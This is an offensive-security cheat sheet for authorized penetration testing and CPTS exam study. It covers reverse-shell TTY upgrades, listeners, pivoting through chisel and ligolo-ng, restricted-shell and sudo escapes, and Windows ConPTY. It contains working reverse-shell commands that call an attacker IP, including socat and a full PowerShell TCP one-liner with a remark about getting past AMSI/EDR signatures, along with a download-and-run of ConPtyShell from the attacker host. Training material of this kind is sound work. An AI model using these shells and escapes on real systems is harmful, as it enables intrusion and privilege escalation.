FLOW ^: Pentest Workflow

TTY Upgrades & Restricted Shells — CPTS Cheat Sheet

Updated CPTS field reference for tty upgrades & restricted shells — cpts cheat sheet.

intermediate updated 2026-08-29 python pty / script / stty · socat / netcat / rlwrap · pwncat-cs · OpenSSH

← Previous: Web Shells · Workflow dashboard · Finish: dashboard ↻

TTY Upgrades & Restricted Shells — CPTS Cheat Sheet fas:ClipboardList

[!dashboard] Workflow context Dashboard: HTB Pentest Workflow · Previous: Web Shells

Attack-flow references: 05 - Foothold Toolkit - Shells Payloads and Metasploit · 12 - Stage 09 - Privilege Escalation

Source module: 8 · Shells and Payloads · Pivoting: Common Services (chisel / ligolo-ng) · AEN internal enumeration

Summary ris:Eye

A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: allocate a PTY on the target, then place the local terminal in raw mode and foreground the connection. Commands such as /bin/bash -i improve the prompt but do not allocate a PTY by themselves.

[!danger]+ Authorized-use boundary fas:TriangleExclamation

  1. Use these procedures only on systems you own or are explicitly authorized to test.
  2. A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings.
  3. Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup.
  4. Capture your local terminal state before stty raw -echo so a dropped connection does not leave the terminal unusable.

Terms that matter ris:FileList

TermMeaningWhat it gives you
ShellCommand interpreter such as sh, bash, cmd.exe or PowerShellExecutes commands
Interactive shellReads commands from a user and may provide history/readlineBetter prompt; still may lack a terminal
PTYPseudo-terminal master/slave pairTerminal semantics for a child process
Controlling TTYTerminal associated with a session/process groupJob control and signals
Raw modeLocal terminal passes keystrokes without local line processing/echoLets the remote PTY handle Ctrl+C, arrows and editing
TERMTerminal capability nameTells full-screen programs how to render
GeometryRows and columnsPrevents wrapping and broken ncurses displays
Shell upgrade decision flowTD
Raw shell tty? PTY allocator present? Spawn PTY Start PTY-backedsocat shell Interactive shell onlyor transfer a reviewed tool Ctrl+Z Limited shellno reliable job control Local raw mode + fg reset · TERM · rows/cols Verify tty + signals not a tty python / script socat none

0 · Gold-path upgrade card fas:Bolt

Use this sequence for a netcat-style Linux reverse shell.

Canonical copy-paste sequence

# 1. Target — allocate a PTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Press Ctrl+Z to background the connection, then on the attacker:
stty raw -echo; fg

# 3. Back on the target — press Enter once, then:
reset
export SHELL=/bin/bash
export TERM=xterm-256color
stty rows 43 cols 172    # replace with your own `stty size` output

The full measured workflow below replaces the hardcoded geometry with the values from your own terminal.

Target — allocate a PTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

If Python is unavailable:

script -qc /bin/bash /dev/null

Press Ctrl+Z to suspend the connection and return to the local shell.

Attacker — save terminal state, enter raw mode, foreground

OLD_STTY=$(stty -g)

if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
  LOCAL_TERM=${TERM:-xterm}
  printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \
    "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
else
  printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2
fi

Only after the generator prints populated rows and columns:

stty raw -echo; fg

[!important]+ The semicolon matters Run stty raw -echo; fg as one line. This is especially important under zsh. After fg, press Enter once or twice if the prompt is not redrawn.

Target — initialize the terminal

export SHELL=/bin/bash
# Paste the two exact export/stty lines printed by the attacker terminal.
reset

The generator reads the dimensions of the current attacker TTY, so it does not guess 80 columns. Its output will look like this, with values matching the terminal or tmux pane in front of you:

export TERM='xterm-256color'
stty rows 43 cols 172

Socat gold path — full TTY in one step

When a reviewed static socat binary is staged on the target, the whole upgrade collapses to a matched one-liner pair and needs no Ctrl+Z dance:

# Attacker listener (raw, no local echo, PTY-aware):
socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr

# Target (PTY-backed reverse shell with signals and session):
socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane

Set TERM and geometry on the target as usual if full-screen programs misbehave.

Verify

tty
stty -a
ps -o pid,ppid,sid,tty,stat,comm -p $$

Expected: tty returns a /dev/pts/... path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection.

Restore the attacker terminal after exit or failure

stty "$OLD_STTY"
reset

If the variable is unavailable, type this blindly and press Enter:

stty sane
reset

1 · Diagnose the shell before changing it fas:MagnifyingGlass

Target checks

tty
printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM"
ps -o pid,ppid,sid,tty,stat,comm -p $$

for fd in 0 1 2; do
  if test -t "$fd"; then
    printf 'fd %s is a tty\n' "$fd"
  else
    printf 'fd %s is not a tty\n' "$fd"
  fi
done

readlink /proc/$$/fd/0 2>/dev/null

Capability checklist

TestHealthy interactive resultRaw-shell symptom
tty/dev/pts/Nnot a tty
test -t 0successfailure
Ctrl+C on sleep 30interrupts sleep onlykills/freezes the session
Arrow keysedit historyprint ^[[A
su - user / ssh hostprompts normallyno prompt, hangs or exits
vim / toprenders correctlycorrupted screen
stty sizereal rows/columnsioctl error or 0 0

[!note]+ Do not confuse shell quality with policy A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect.


2 · PTY allocators and fallback shells fas:Terminal

What actually allocates a PTY?

MethodAllocates PTY?Notes
Python pty.spawnYesMost common Unix fallback
util-linux scriptYesOften installed when Python is absent
socat pty optionYesBest signal/session handling when available
Expect spawn ...; interactYesUseful on appliances with Expect
SSH -t / -ttYesServer policy still applies
bash -i, Perl/Ruby exec, awk systemNoInteractive process only; still useful as a fallback
rlwrap ncNoLocal readline wrapper, not a remote PTY

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

If Bash is unavailable:

python3 -c 'import pty; pty.spawn("/bin/sh")'

util-linux script

script -qc /bin/bash /dev/null

Alternative accepted by some util-linux builds:

script -c /bin/bash /dev/null

The output file is /dev/null so the command does not leave a terminal transcript on the target.

Expect

expect -c 'spawn /bin/bash; interact'

Socat — full PTY connection

Attacker:

socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr

Target:

socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane

[!warning]+ Staging a static binary Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished.

Interactive-only fallbacks — not a PTY

/bin/bash -i
/bin/sh -i
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
env /bin/bash -i

These may improve command parsing or prompt behavior, but tty will still report not a tty. Continue with a real PTY allocator when possible.


3 · Listener choices fas:SatelliteDish

Netcat

nc -lvnp 4444

Netcat is simple and widely available, but it does not allocate a PTY.

rlwrap + netcat

rlwrap -r -f . nc -lvnp 4444

rlwrap adds local history and line editing. It does not fix remote job control, terminal sizing, su or ssh prompts. It pairs well with the gold-path upgrade: rlwrap gives you comfortable editing while you run the python3/script + stty raw -echo; fg sequence.

Ncat with TLS

ncat --ssl -lvnp 4444

The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior.

Socat

socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr

pwncat-cs — the modern catch-all

pwncat-cs -lp 4444

pwncat-cs is the modern successor to the original pwncat: it detects the platform on connect, can auto-allocate a PTY, tracks sessions, and provides built-in upload/download, privesc-enum and persistence modules. Use the automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs.

Metasploit handler

use exploit/multi/handler
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST 10.10.14.2
set LPORT 4444
run

A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation.

[!tip]+ Through a pivot, the listener often lives ON the pivot When the target can reach a compromised pivot but not your attacker box, run the catch listener on the pivot itself (e.g. nc -lvnp 4444 or socat on the pivot) and interact with it over your existing SSH/SSH-D session — the same pattern the AEN walkthrough uses when nc -lnvp ran on dmz01 to catch shells from internal hosts. See sheet 01 (bundled pivot tools) and AEN persistence & internal enumeration for the pivot workflow.

[!example]+ Reverse shells through pivots — chisel & ligolo-ng When the target cannot route back to you directly, stage a tunnel and let the shell traverse it. The vault carries reviewed builds: [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) and [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) for chisel, [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) and [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) for ligolo-ng.

chisel reverse listener (catch a shell from an unreachable target):

# Attacker — reverse-mode server; clients may open reverse forwards:
chisel server --reverse -p 8080

# Target/pivot — expose the attacker's nc listener as a local port on the target:
chisel client 10.10.14.2:8080 R:4444:127.0.0.1:4444

# Attacker — plain catch listener; the shell arrives via the tunnel:
rlwrap -r -f . nc -lvnp 4444

The target then runs its reverse-shell payload against its own 127.0.0.1:4444; chisel carries the connection back to your netcat. A full SOCKS variant is chisel client 10.10.14.2:8080 R:socks, which lets you aim proxychains at internal services from the same tunnel.

ligolo-ng (TUN, full routing): run the proxy on the attacker and the agent on the pivot, add a listener_add forward for your catch port, and the target calls back to a pivot-side address that ligolo delivers to your listener — full command set in sheet 01.

Record every staged binary and tunnel endpoint; remove them during cleanup.


4 · Terminal geometry, TERM and locale fas:Expand

What are you actually copying?

ValueWhat it meansHow to discover it locally
Rows / columnsCurrent kernel-reported size of the terminal or tmux panestty size </dev/tty
TERMA terminal capability/terminfo name used by programs such as vim, less and topprintf '%s\n' "$TERM"
Terminal emulatorThe graphical program, such as Ghostty, Kitty, Alacritty or FootEnvironment and process-tree checks below

TERM is not necessarily the emulator’s product name. Inside tmux it is commonly tmux-256color or screen-256color, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a TERM entry installed on the target matter more than the emulator brand.

Discover the exact local values

printf 'TTY=%s\n' "$(tty)"
printf 'TERM=%s\n' "${TERM:-unset}"
stty size </dev/tty
stty -a </dev/tty | sed -n '1p'
tput lines
tput cols

stty size prints ROWS COLS. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size.

To identify the visible emulator as well:

printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}"
printf 'TERMINAL=%s\n' "${TERMINAL:-unset}"
ps -o pid,ppid,tty,comm -p $$ -p $PPID
pstree -s $$

Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a TERM value from the application name; use the current $TERM, then test whether the target has its terminfo entry.

Generate the exact remote commands

Run this locally after suspending the connection with Ctrl+Z and before enabling raw mode:

if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
  LOCAL_TERM=${TERM:-xterm}
  printf "export TERM='%s'\nstty rows %s cols %s\n" \
    "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
else
  printf 'No controlling local TTY; run this from the listener terminal.\n' >&2
fi

Copy the two printed lines to the target after fg. A compact Bash/zsh version is:

read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS"

[!warning]+ Why not always use 80 columns? 80 is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes.

tmux and multiplexer panes

# stty already reports the active pane's PTY size.
stty size </dev/tty

# Cross-check using tmux's own pane values.
tmux display-message -p '#{pane_height} #{pane_width}'

# See the capability name exposed inside the pane.
printf 'TERM=%s\n' "$TERM"

If the local value is tmux-256color, screen-256color or an emulator-specific name such as xterm-kitty, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue.

Apply and validate on the target

# Example only—paste the values produced by your local generator.
export TERM='xterm-256color'
stty rows 43 cols 172

printf 'TERM=%s\n' "$TERM"
stty size
tput lines
tput cols

If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target:

if command -v infocmp >/dev/null 2>&1; then
  for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do
    if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then
      export TERM="$CANDIDATE_TERM"
      break
    fi
  done
else
  export TERM=xterm
fi

printf 'Using TERM=%s\n' "$TERM"

Optional locale repair for broken characters:

locale
export LC_ALL=C

Use LC_ALL=C only when needed; it changes sorting, messages and character handling for the session.

Resize later

The remote PTY does not normally receive local SIGWINCH resize events through a simple netcat chain. Re-run the local generator, then paste its new stty rows ... cols ... command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with stty size rather than assuming they did.


5 · Signal and job-control verification fas:Check

sleep 30

Press Ctrl+C. The sleep process should stop while the shell survives.

sleep 30 &
jobs
fg %1

Press Ctrl+Z, then check:

jobs
bg %1
fg %1

[!warning]+ Test with disposable commands Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written.


6 · SSH-native terminal allocation and escapes fas:Key

If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat.

ssh -t user@target
ssh -tt user@target 'bash --noprofile --norc -i'

A second -t forces allocation even when the local client has no TTY.

OpenSSH escape sequences

Escapes are recognized only after a newline and only when a PTY was requested.

Enter, then ~?    show escape help
Enter, then ~.    disconnect
Enter, then ~^Z   suspend the local ssh client
Enter, then ~#    list forwarded connections
Enter, then ~C    open the forwarding command line

At the ~C prompt:

-L 8080:127.0.0.1:80
-D 1080
-KL 8080

[!note]+ Shell restrictions still apply ssh -tt ... bash works only if sshd permits the command and the account is not constrained by ForceCommand, a restricted shell, a container/jail, or another policy.


7 · Meterpreter and framework sessions fas:Terminal

Meterpreter to operating-system shell

meterpreter > shell

Then on a Unix target:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Basic shell to Meterpreter

From msfconsole:

sessions
sessions -u <SESSION_ID>

Or:

use post/multi/manage/shell_to_meterpreter
set SESSION <SESSION_ID>
run

An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent shell channel.


8 · Restricted-shell identification and escape fas:DoorOpen

Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs.

Identify the shell and allowed surface

printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-"
getent passwd "$(id -un)" 2>/dev/null
echo "$PATH"
type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null
compgen -c 2>/dev/null | sort -u

Common indicators:

ShellTypical behavior
rbashBlocks cd, slashes in command names, PATH changes, exec and output redirection
rksh / restricted kshSimilar path, directory and redirection restrictions
rzshzsh restricted option; path/command limitations
lshellAllow/deny lists and explicit “forbidden command” messages
rssh / git-shellPurpose-built command set rather than a normal interactive shell
container/chrootNormal shell syntax but filesystem/process/network boundaries remain

Rank escape candidates

  1. Interpreters already on the allowed PATH.
  2. Editors and pagers with shell commands.
  3. An SSH forced command or native PTY.
  4. Environment-controlled helpers such as PAGER, VISUAL or SHELL.
  5. A permitted shell script or command that invokes another program.

Interpreters

python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
lua -e 'os.execute("/bin/bash")'
php -r 'system("/bin/bash");'
awk 'BEGIN {system("/bin/bash")}'

If slashes are rejected but the binary is on PATH, try bash rather than /bin/bash.

Editors and pagers

Vim:

:set shell=/bin/bash
:shell

Alternative Vim command (works in vi as well):

:!/bin/bash

Less or man:

!/bin/bash

Nano, when Execute Command is enabled:

Ctrl+R
Ctrl+X
/bin/bash

Common command helpers

find . -exec /bin/sh \;
awk 'BEGIN {system("/bin/bash")}'
env /bin/bash -i
gdb -nx -ex '!bash' -ex quit

SSH from outside the restriction

When the account is dropped into rbash by its login shell but sshd itself is not locked down with ForceCommand, supply your own command so the restricted login shell never starts:

ssh user@target 'bash --noprofile --norc -i'
ssh -tt user@target 'bash --noprofile --norc -i'

--noprofile --norc skips the startup files that might re-enter restricted mode. If the account’s login shell is rbash and sshd runs the command through that shell (rbash -c 'bash --noprofile --norc -i'), rbash may still allow it because the child process is a fresh unrestricted Bash—verify with the checks below.

rbash-specific observations

GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail.

BASH_CMDS[a]=/bin/bash
a

If a permitted editor or upload route can place a reviewed script in an executable PATH directory:

allowed-script.sh

PATH and sudo environment tricks

Restrictions that rely on PATH, or sudo rules that preserve the caller’s environment, are configuration weaknesses rather than TTY problems:

# What can this account run with sudo, and is the environment preserved?
sudo -l
Condition in sudo -l outputWhy it matters
env_keep+=LD_PRELOAD / LD_LIBRARY_PATHA reviewed shared library staged by the operator can run inside the sudo’d process
(ALL) NOPASSWD: /usr/bin/find (or another GTFOBins-capable binary)sudo find . -exec /bin/sh \; runs the shell with sudo’s privileges
A permitted editor/pager (vi, less, man) under sudoIts ! shell-command escapes inherit sudo privileges
Writable directory early in PATH with a permitted bare command nameA staged same-name script shadows the intended binary

Treat any success here as a privilege-escalation finding to report, not a shell-quality fix.

Verify the escape

printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL"
cd /
printf 'redirect-test\n' > /tmp/tty-escape-check
rm -f /tmp/tty-escape-check

[!warning]+ Escape does not mean host escape Leaving rbash may only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account.


9 · Windows shell quality and ConPTY fab:Windows

Windows cmd.exe and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions.

Diagnose — CMD

whoami
ver
echo %CMDCMDLINE%
where powershell.exe
where pwsh.exe

Diagnose — PowerShell

whoami
$ExecutionContext.SessionState.LanguageMode
[Environment]::OSVersion.Version
[Environment]::Is64BitProcess
Get-CimInstance Win32_Process -Filter "ProcessId=$PID" |
  Select-Object ProcessId, ParentProcessId, Name, ExecutablePath

ConstrainedLanguage permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken.

Baseline PowerShell reverse shell

When you first land in a web shell or command-injection context, this one-liner is the classic way to trade request-scoped execution for a persistent socket shell:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

It is a stream shell, not a ConPTY console: upgrade it (or move to WinRM/SSH/RDP) before running interactive programs. Review per-engagement policy before use; AMSI and EDR commonly signature this exact string, so expect to stage a reviewed variant rather than paste it verbatim on defended hosts.

[!note]+ Every web-shell request is a fresh process Web commands run as the application-pool or service identity and start as a fresh process for every HTTP request — a successful cd does not survive to the next request in a bare shell. The rp-shell family in sheet 05 fakes cwd persistence with a hidden field/session; bare shells need absolute paths or cd C:\path && command chaining. Get a real socket shell (one-liner above), then fix terminal quality with ConPTY or a native management channel.

Prefer native management channels when credentials exist

evil-winrm -i 10.10.10.10 -u user -p '<password>'
ssh user@10.10.10.10
xfreerdp /v:10.10.10.10 /u:user /p:'<password>'

ConPtyShell workflow

Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner.

Attacker listener:

stty raw -echo; (stty size; cat) | nc -lvnp 4444

Target PowerShell:

Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 `
  -OutFile $env:TEMP\Invoke-ConPtyShell.ps1

. $env:TEMP\Invoke-ConPtyShell.ps1
Invoke-ConPtyShell 10.10.14.2 4444

[!note]+ ConPTY requirements ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection.

Restore the local terminal

stty sane
reset

10 · Troubleshooting matrix fas:Wrench

SymptomCauseFix
stty: inappropriate ioctl for deviceRan stty on a stream without a PTY, or on the wrong sideSpawn target PTY first; run local raw-mode command on the attacker terminal
Ctrl+C kills the whole connectionNo controlling PTY or local terminal still processes signalsComplete PTY + raw-mode steps; test with sleep
Arrow keys print ^[[ANo readline/PTY, or wrong TERMAllocate PTY; set a supported TERM
Tab-completion dead, no historyFull PTY missing — shell is interactive-only (bash -i fallback)Allocate a real PTY (python3 pty.spawn / script / socat), then stty raw -echo; fg
Control characters / garbled screen on window resizeRemote PTY never got the new size — stty rows/cols mismatchRe-run the local generator and paste fresh stty rows ... cols ... remotely; socat/SSH propagate SIGWINCH, netcat does not
sudo: a terminal is required / shell dies on sudosudo needs a TTY to read the password (requiretty or no PTY)Allocate a PTY first; confirm with tty; if policy forces requiretty, no stream shell will work
Commands appear twiceEcho enabled on both sidesEnsure local stty raw -echo or socat echo=0
No prompt after fgPrompt not redrawn or reset waiting for terminal namePress Enter; run reset; enter xterm if asked
vim/top is garbledWrong geometry or missing terminfoSet rows/cols; fall back from xterm-256color to xterm/vt100
su/ssh still will not promptPTY incomplete, PAM policy, wrong credential or account restrictionVerify tty first, then diagnose auth/policy separately
script has different option errorsBSD/util-linux syntax differenceCheck script --help; BSD commonly accepts script -q /dev/null /bin/bash
Socat connects then exitsQuoting, missing shell, wrong architecture or listener mismatchUse absolute shell path; test socat version; verify both endpoints
Local terminal is broken after disconnectLocal side remained raw/no-echoType stty sane then reset blindly, or use another terminal to repair the TTY
tty works but jobs does notShell is not interactive or lacks job controlStart bash -i inside the PTY; inspect process session/group
Reverse shell never arrives through a pivotTarget cannot route to the attacker listenerPut the listener on the pivot, or tunnel it with chisel R:port:host:port / ligolo-ng listener_add
Windows script fails immediatelyCLM, script policy, AMSI/EDR, architecture or unsupported buildCheck language mode/build; prefer approved WinRM/SSH/RDP when available

Emergency local recovery from another terminal

Find the terminal device in the affected window:

ps -t pts/3

Repair it explicitly:

stty sane -F /dev/pts/3

11 · Operational safety and cleanup fas:Broom

Before changing the session

  • Record the current user, process tree, shell, tty result and local terminal geometry.
  • Save the local stty -g state.
  • Note every transferred binary/script and its SHA-256.
  • Use a unique listener port within scope.

During the session

  • Avoid putting credentials in command-line arguments where process listings or shell history expose them.
  • Do not use terminal experiments on long-running or stateful target processes.
  • Treat automated shell managers as tools that may upload files or run enumeration automatically.
  • Treat tunnel agents (chisel, ligolo-ng) as infrastructure: log every server/client endpoint and reverse-forward mapping you open.

Cleanup

# Target: remove only artifacts you staged.
rm -f /tmp/socat /tmp/chisel

# Attacker: always restore terminal behavior.
stty sane
reset

On Windows:

Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue

Stop chisel servers/clients and ligolo-ng agents/proxies you started, and remove their binaries. Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed.


Quick reference ris:GlobalLine

SituationFirst choiceFollow-up
Linux raw reverse shellPython pty.spawnCtrl+Z → local raw mode → reset/TERM/size
No Pythonscript -qc /bin/bash /dev/nullSame stty workflow
socat availablesocat PTY listener + EXEC one-liner pairSet TERM/geometry
Only netcatrlwrap nc for comfortStill allocate a target PTY
Target cannot reach attackerListener on the pivot, or chisel R: / ligolo-ng tunnelThen upgrade the shell normally
Valid SSH credentialssh -ttAvoid netcat stabilization
Meterpreter shellSpawn PTY inside shellOr upgrade session type
rbash/rkshInventory allowed commandsInterpreter/editor/pager/SSH escape
Windows modern buildNative WinRM/SSH/RDP firstReviewed ConPTY tooling if required
Broken local terminalstty sanereset

Lessons learned fas:Lightbulb

  1. A new shell is not a PTY. Perl exec and bash -i can improve the prompt without fixing tty, job control or signals.
  2. PTY allocation and raw mode are separate. You normally need both halves of the gold-path workflow.
  3. Save stty -g first. It turns a broken local terminal into a one-command recovery.
  4. Geometry is functional, not cosmetic. Wrong rows/columns corrupt editors, pagers and interactive tools — and netcat chains never learn about local resizes, so re-push stty rows/cols after every window change.
  5. Restricted shell is policy. Stabilize the terminal, then evaluate the restriction as its own security boundary; a sudo/env_keep or PATH weakness you find along the way is a privilege-escalation finding, not a shell fix.
  6. Prefer native channels. If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket.
  7. Pivot first, then listen. When the target cannot route to you, the catch listener belongs on the pivot — or at the end of a chisel/ligolo-ng tunnel — not on an attacker interface the target will never reach.
  8. Clean up tools, not evidence. Remove staged binaries/scripts and tunnel endpoints; do not erase logs or history.

References fas:BookOpen

  1. Python documentation — pty
  2. util-linux script(1) manual
  3. GNU Coreutils — stty
  4. OpenSSH ssh(1) — PTY allocation and escape characters
  5. GNU Bash — The Restricted Shell
  6. Microsoft — Windows Pseudoconsoles
  7. Microsoft PowerShell — Language Modes
  8. ConPtyShell primary repository
  9. pwncat-cs primary repository
  10. chisel primary repository — TCP/UDP tunnel over HTTP
  11. ligolo-ng primary repository — TUN-based pivoting
  12. HTB Academy — Pivoting, Tunneling, and Port Forwarding

← Previous: Web Shells · Workflow dashboard ↻

#HTB #CPTS #TTY #PTY #ShellUpgrade #RestrictedShell #Pivoting #PostExploitation